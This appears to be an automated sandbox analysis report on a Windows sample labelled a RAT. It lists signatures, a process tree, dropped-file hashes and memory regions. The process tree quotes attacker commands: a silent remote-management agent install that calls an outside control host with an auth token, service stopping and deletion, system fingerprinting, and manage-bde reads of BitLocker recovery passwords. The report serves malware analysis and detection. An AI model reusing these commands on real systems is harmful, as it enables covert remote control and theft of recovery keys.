Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/09/2024, 11:45

General

  • Target
    2024-09-06_3e893478d38cac11fb2ff8a97a338b1d_poet-rat_snatch.exe
  • Size 5.0MB
  • Sample240906-nws66stgrm
  • SHA256 8d621fc862b38194f97758923aef38c022272b3fdafa4462afbed44ba584c383
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects MeshAgent payload 1 IoCs
  • MeshAgent

    MeshAgent is a trojan written in C++.

  • Sets service image path in registry 2 TTPs 1 IoCs
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 7 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in System32 directory 5 IoCs
  • Drops file in Program Files directory 8 IoCs
  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • System Location Discovery: System Language Discovery 1 TTPs 23 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 4 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Kills process with taskkill 1 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2024-09-06_3e893478d38cac11fb2ff8a97a338b1d_poet-rat_snatch.exe
    "C:\Users\Admin\AppData\Local\Temp\2024-09-06_3e893478d38cac11fb2ff8a97a338b1d_poet-rat_snatch.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3944
    • C:\ProgramData\TacticalRMM\tacticalagent-v2.8.0-windows-amd64.exe
      C:\ProgramData\TacticalRMM\tacticalagent-v2.8.0-windows-amd64.exe /VERYSILENT /SUPPRESSMSGBOXES
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2656
      • C:\Users\Admin\AppData\Local\Temp\is-Q6KSM.tmp\tacticalagent-v2.8.0-windows-amd64.tmp
        "C:\Users\Admin\AppData\Local\Temp\is-Q6KSM.tmp\tacticalagent-v2.8.0-windows-amd64.tmp" /SL5="$70296,3652845,825344,C:\ProgramData\TacticalRMM\tacticalagent-v2.8.0-windows-amd64.exe" /VERYSILENT /SUPPRESSMSGBOXES
        3⤵
        • Executes dropped EXE
        • Drops file in Program Files directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:3672
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c ping 127.0.0.1 -n 2 && net stop tacticalrpc
          4⤵
          • System Location Discovery: System Language Discovery
          • System Network Configuration Discovery: Internet Connection Discovery
          • Suspicious use of WriteProcessMemory
          PID:3060
          • C:\Windows\SysWOW64\PING.EXE
            ping 127.0.0.1 -n 2
            5⤵
            • System Location Discovery: System Language Discovery
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:3396
          • C:\Windows\SysWOW64\net.exe
            net stop tacticalrpc
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4596
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop tacticalrpc
              6⤵
              • System Location Discovery: System Language Discovery
              PID:3144
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c net stop tacticalagent
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2664
          • C:\Windows\SysWOW64\net.exe
            net stop tacticalagent
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:1436
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop tacticalagent
              6⤵
              • System Location Discovery: System Language Discovery
              PID:4584
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c ping 127.0.0.1 -n 2 && net stop tacticalrmm
          4⤵
          • System Location Discovery: System Language Discovery
          • System Network Configuration Discovery: Internet Connection Discovery
          • Suspicious use of WriteProcessMemory
          PID:988
          • C:\Windows\SysWOW64\PING.EXE
            ping 127.0.0.1 -n 2
            5⤵
            • System Location Discovery: System Language Discovery
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:1920
          • C:\Windows\SysWOW64\net.exe
            net stop tacticalrmm
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4760
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop tacticalrmm
              6⤵
              • System Location Discovery: System Language Discovery
              PID:4756
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c taskkill /F /IM tacticalrmm.exe
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3940
          • C:\Windows\SysWOW64\taskkill.exe
            taskkill /F /IM tacticalrmm.exe
            5⤵
            • System Location Discovery: System Language Discovery
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:5040
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c sc delete tacticalagent
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2552
          • C:\Windows\SysWOW64\sc.exe
            sc delete tacticalagent
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:452
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c sc delete tacticalrpc
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2544
          • C:\Windows\SysWOW64\sc.exe
            sc delete tacticalrpc
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:3512
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c tacticalrmm.exe -m installsvc
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3176
          • C:\Program Files\TacticalAgent\tacticalrmm.exe
            tacticalrmm.exe -m installsvc
            5⤵
            • Executes dropped EXE
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3564
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c net start tacticalrmm
          4⤵
          • System Location Discovery: System Language Discovery
          PID:3960
          • C:\Windows\SysWOW64\net.exe
            net start tacticalrmm
            5⤵
            • System Location Discovery: System Language Discovery
            PID:3856
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 start tacticalrmm
              6⤵
              • System Location Discovery: System Language Discovery
              PID:1540
    • C:\Program Files\TacticalAgent\tacticalrmm.exe
      "C:\Program Files\TacticalAgent\tacticalrmm.exe" -m install --api https://api.pion.1rfd.ru --client-id 1 --site-id 1 --agent-type workstation --auth 90b8e8a356d8ad5282d45fcf9f4c76df373b05edbe69a355ea4dbbee47233f1f
      2⤵
      • Executes dropped EXE
      • Drops file in Program Files directory
      • Modifies system certificate store
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1932
      • C:\Program Files\TacticalAgent\meshagent.exe
        "C:\Program Files\TacticalAgent\meshagent.exe" -fullinstall
        3⤵
        • Sets service image path in registry
        • Executes dropped EXE
        • Drops file in Program Files directory
        PID:1352
      • C:\Program Files\Mesh Agent\MeshAgent.exe
        "C:\Program Files\Mesh Agent\MeshAgent.exe" -nodeid
        3⤵
        • Executes dropped EXE
        PID:3396
  • C:\Program Files\Mesh Agent\MeshAgent.exe
    "C:\Program Files\Mesh Agent\MeshAgent.exe"
    1⤵
    • Executes dropped EXE
    • Modifies data under HKEY_USERS
    PID:3660
    • C:\Windows\System32\wbem\wmic.exe
      wmic SystemEnclosure get ChassisTypes
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4016
    • C:\Windows\system32\wbem\wmic.exe
      wmic os get oslanguage /FORMAT:LIST
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1944
    • C:\Windows\System32\wbem\wmic.exe
      wmic ComputerSystem get PCSystemType /FORMAT:"C:\Windows\system32\wbem\en-US\csv"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3500
    • C:\Windows\system32\wbem\wmic.exe
      wmic os get oslanguage /FORMAT:LIST
      2⤵
        PID:4596
      • C:\Windows\System32\wbem\wmic.exe
        wmic SystemEnclosure get ChassisTypes
        2⤵
          PID:1468
        • C:\Windows\System32\wbem\wmic.exe
          wmic ComputerSystem get PCSystemType /FORMAT:"C:\Windows\system32\wbem\en-US\csv"
          2⤵
            PID:4836
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -noprofile -nologo -command -
            2⤵
            • Drops file in System32 directory
            • Command and Scripting Interpreter: PowerShell
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:1728
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -noprofile -nologo -command -
            2⤵
            • Drops file in System32 directory
            • Command and Scripting Interpreter: PowerShell
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:892
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -noprofile -nologo -command -
            2⤵
            • Drops file in System32 directory
            • Command and Scripting Interpreter: PowerShell
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:1540
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -noprofile -nologo -command -
            2⤵
            • Drops file in System32 directory
            • Command and Scripting Interpreter: PowerShell
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:1512
          • C:\Windows\system32\cmd.exe
            /c manage-bde -protectors -get C: -Type recoverypassword
            2⤵
              PID:2420
              • C:\Windows\system32\manage-bde.exe
                manage-bde -protectors -get C: -Type recoverypassword
                3⤵
                  PID:4400
              • C:\Windows\system32\cmd.exe
                /c manage-bde -protectors -get F: -Type recoverypassword
                2⤵
                  PID:4704
                  • C:\Windows\system32\manage-bde.exe
                    manage-bde -protectors -get F: -Type recoverypassword
                    3⤵
                      PID:1436

                Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

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                      Downloads

                      meshagent.exe

                      • Path C:\Program Files\TacticalAgent\meshagent.exe
                      • Size 3.3MB
                      • SHA256 e463e873e9d8e5c91d49d53cf56fcb799527e1dc8c627551b12a6255ac7d15fa
                      • MD5 SHA1 SHA512 SSDEEP

                      tacticalrmm.exe

                      • Path C:\Program Files\TacticalAgent\tacticalrmm.exe
                      • Size 9.2MB
                      • SHA256 ad29d4e9e01870ffbdb6f2498e6ce36a708e56db2ad431ba2d80bf5a6caac069
                      • MD5 SHA1 SHA512 SSDEEP

                      tacticalagent-v2.8.0-windows-amd64.exe

                      • Path C:\ProgramData\TacticalRMM\tacticalagent-v2.8.0-windows-amd64.exe
                      • Size 4.3MB
                      • SHA256 d6c7bdab07151678b713a02efe7ad5281b194b0d5b538061bdafdf2c4ca1fdaa
                      • MD5 SHA1 SHA512 SSDEEP

                      tacticalagent-v2.8.0-windows-amd64.tmp

                      • Path C:\Users\Admin\AppData\Local\Temp\is-Q6KSM.tmp\tacticalagent-v2.8.0-windows-amd64.tmp
                      • Size 3.0MB
                      • SHA256 4b0be5167a31a77e28e3f0a7c83c9d289845075b51e70691236603b1083649df
                      • MD5 SHA1 SHA512 SSDEEP

                      __PSScriptPolicyTest_byrtts0u.wd5.ps1

                      • Path C:\Windows\Temp\__PSScriptPolicyTest_byrtts0u.wd5.ps1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512

                      powershell.exe.log

                      • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                      • Size 3KB
                      • SHA256 54e15de2bef9f651d7717e2a336ac6b2ea2b723e6f29d2b153d8fbbc89aef723
                      • MD5 SHA1 SHA512

                      StartupProfileData-Interactive

                      • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
                      • Size 2KB
                      • SHA256 785158a006b5480c2c14764bc9207ffeaf463e05a863c7b0e24c23614c85b10d
                      • MD5 SHA1 SHA512

                      StartupProfileData-Interactive

                      • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
                      • Size 2KB
                      • SHA256 86cd6b95819282eee4bd6c900b27ebeddf453a90a9f6147978e9137479f36bd6
                      • MD5 SHA1 SHA512

                      StartupProfileData-Interactive

                      • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
                      • Size 2KB
                      • SHA256 02b398b64d40ec924cbd1e21e23d5a0910f91e9541ce6cf4179179a9e9b0db6b
                      • MD5 SHA1 SHA512

                      memory/892-77-0x000002871A9A0000-0x000002871A9A8000-memory.dmp

                      memory/892-76-0x000002877F870000-0x000002877F88A000-memory.dmp

                      memory/892-79-0x000002877F800000-0x000002877F80A000-memory.dmp

                      memory/892-78-0x000002871AA90000-0x000002871AA96000-memory.dmp

                      memory/892-75-0x000002877F7F0000-0x000002877F7FA000-memory.dmp

                      memory/892-74-0x000002877F850000-0x000002877F86C000-memory.dmp

                      memory/892-71-0x000002871A9B0000-0x000002871A9CC000-memory.dmp

                      memory/892-72-0x000002871A9D0000-0x000002871AA85000-memory.dmp

                      memory/892-73-0x000002877F200000-0x000002877F20A000-memory.dmp

                      memory/1512-121-0x0000024DFE2B0000-0x0000024DFE365000-memory.dmp

                      memory/1512-122-0x0000024DFE770000-0x0000024DFE79A000-memory.dmp

                      memory/1512-123-0x0000024DFE770000-0x0000024DFE794000-memory.dmp

                      memory/1540-100-0x00000201A8FB0000-0x00000201A9065000-memory.dmp

                      memory/1728-37-0x000001EE74ED0000-0x000001EE74EF2000-memory.dmp

                      memory/1728-48-0x000001EE75460000-0x000001EE754D6000-memory.dmp

                      memory/1728-47-0x000001EE75390000-0x000001EE753D4000-memory.dmp

                      memory/2656-26-0x0000000000400000-0x00000000004D7000-memory.dmp

                      memory/2656-5-0x0000000000400000-0x00000000004D7000-memory.dmp

                      memory/2656-8-0x0000000000401000-0x00000000004B7000-memory.dmp

                      memory/3672-25-0x0000000000400000-0x0000000000712000-memory.dmp

                      memory/3672-12-0x0000000000400000-0x0000000000712000-memory.dmp